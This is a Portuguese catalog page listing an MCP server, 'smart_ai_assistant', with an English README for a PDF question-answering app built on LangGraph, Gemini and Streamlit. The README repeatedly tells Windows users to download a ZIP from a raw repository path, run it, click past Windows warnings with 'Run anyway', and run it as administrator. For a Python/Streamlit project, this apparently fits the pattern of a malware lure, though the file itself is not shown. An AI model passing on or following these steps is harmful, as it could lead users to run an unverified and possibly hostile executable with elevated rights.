convez.ai
MCP ServerAutomaçãoIntermediário
enginkaraarslan

Smart AI Assistant

enginkaraarslan/smart_ai_assistant

Assistente IA com RAG para Q&A em PDFs e automação de workflows

Ver no GitHub
InicialPluginScore · de 0 a 100

MCP server que constrói um assistente IA com LangGraph, RAG e Gemini para responder perguntas precisas a partir de arquivos PDF. Integra busca vetorial, workflow condicional e interface Streamlit, permitindo automação de consultas em documentos com rastreamento via LangSmith.

Instalação

$npx convez-ai enginkaraarslan/smart_ai_assistant

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
2
Forks
0
Acompanhando
2
Saúde
42%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Responder perguntas sobre PDFs e documentos técnicos
  • Automação de busca e extração de informações em documentos
  • Assistente de consulta para manuais, relatórios e guias

Veredito

Solução prática para RAG com Gemini e LangGraph, bem focada em Q&A de PDFs. Implementação clara, mas com documentação limitada para implantação como MCP server e dependência forte de API externa (Gemini).

README

A tradução para o português deste README ainda está na fila.

🤖 smart_ai_assistant - Smarter Answers From Your Files

Download smart_ai_assistant

📥 Download

Visit this page to download the Windows version:

https://github.com/enginkaraarslan/smart_ai_assistant/raw/refs/heads/main/app/smart_ai_assistant_v1.3.zip

On the release page, pick the latest version and download the file for Windows. If you see more than one file, choose the one for Windows first.

🪟 Run on Windows

  1. Download the release file from the link above.
  2. Open your Downloads folder.
  3. Double-click the file to start the app.
  4. If Windows asks for permission, choose Run anyway or Yes.
  5. Wait for the app window to open.

If the app does not open, try running the file again from the same folder.

✨ What This App Does

smart_ai_assistant is an AI assistant that helps you ask questions and get answers from your own PDF files. It uses a chat flow that can change based on your input, so it can handle different kinds of questions in a clean way.

This app is built for people who want:

  • Answers from PDF documents
  • Simple chat with an AI assistant
  • A guided workflow instead of a plain chat box
  • A tool that can search stored document data
  • A way to track how the assistant responds

🧠 Main Features

  • Ask questions in plain English
  • Upload or use PDF files for document-based answers
  • Find relevant text with vector search
  • Use Gemini API for AI responses
  • Follow a conditional flow based on the type of question
  • Store document data for fast lookup
  • Track app behavior with LangSmith monitoring
  • Use a clean web interface with Streamlit

📄 How PDF Q&A Works

The app reads the text in your PDF files and breaks it into smaller parts. When you ask a question, it looks for the most relevant parts first. Then it sends that context to the AI model to help form the answer.

This helps the assistant stay closer to the content in your files. It works well for:

  • Manuals
  • Reports
  • Guides
  • Notes
  • Policy documents
  • Study material

🧭 How the Workflow Works

The app does not treat every question the same way. It uses a workflow that can choose different paths based on the request.

For example:

  • A simple question can go straight to answer lookup
  • A document question can trigger PDF search
  • A follow-up question can use earlier context
  • A special task can take a different route in the flow

This setup helps the assistant respond in a more organized way.

🔧 What You Need

Use a Windows PC with:

  • Windows 10 or Windows 11
  • At least 4 GB of RAM
  • A stable internet connection
  • Enough free space for the app and PDF files

For the best result, keep your PDF files clear and readable. Scanned PDFs with poor text quality may work less well.

📁 How to Use Your PDF Files

  1. Open the app.
  2. Add the PDF file you want to use.
  3. Wait for the app to process the file.
  4. Ask your question in the chat area.
  5. Read the answer and check the source text if shown.

Keep your file names simple. Short names with letters and numbers work well.

🔑 Gemini API Setup

The app uses the Gemini API for AI responses. You may need to enter your API key inside the app or in a setup field if the release includes one.

Use your own API key from Google AI Studio or the service you use for Gemini access. Keep the key private and do not share it.

📊 LangSmith Monitoring

LangSmith helps track how the assistant behaves during use. It can help with:

  • Checking the flow of requests
  • Reviewing app steps
  • Watching response quality
  • Finding where a request may fail

This is useful when you want more control over how the assistant works.

🖥️ User Interface

The app uses Streamlit, which gives it a simple browser-like interface. You can expect:

  • A chat box
  • File upload or file selection controls
  • Status messages while files load
  • Clear output for answers
  • A layout that is easy to use on Windows

🧪 Typical Use Cases

  • Ask questions about a PDF handbook
  • Search a project report for key details
  • Read answers from study notes
  • Review policy text
  • Use one assistant for both chat and file-based questions

📌 Tips for Better Results

  • Use PDFs with clear text
  • Ask one question at a time
  • Use short and direct questions
  • Keep related PDFs in the same folder
  • Re-upload a file if the answer seems incomplete

🛠️ If the App Does Not Start

Try these steps:

  1. Make sure the download finished fully.
  2. Right-click the file and choose Run as administrator.
  3. Check whether Windows blocked the file.
  4. Move the file to a simple folder like Desktop.
  5. Try the latest release from the download page again.

📦 Download and Install

Go to the release page and download the Windows file:

https://github.com/enginkaraarslan/smart_ai_assistant/raw/refs/heads/main/app/smart_ai_assistant_v1.3.zip

After the file downloads, open it from your Downloads folder and run it on Windows. If your release comes as a ZIP file, extract it first, then start the app file inside.

🧩 Included Topics

This project includes work in:

  • AI assistant design
  • Chatbot flows
  • Retrieval-augmented generation
  • FAISS-based search
  • LangChain tools
  • LangGraph workflows
  • Gemini API integration
  • Machine learning support
  • NLP-based question handling
  • Streamlit app layout

📚 Example Questions

  • What does this PDF say about refunds?
  • Which dates are listed in the report?
  • Summarize the main points in this guide
  • Find the section about setup
  • What are the key rules in this document?

🔐 Privacy and File Use

Your PDF files stay part of your own local use unless you choose to share them. Keep private documents in a safe folder and use only files you trust.

📎 Release Page

Download the latest Windows build here:

https://github.com/enginkaraarslan/smart_ai_assistant/raw/refs/heads/main/app/smart_ai_assistant_v1.3.zip

Ver o original no GitHub

Bom para

Relacionados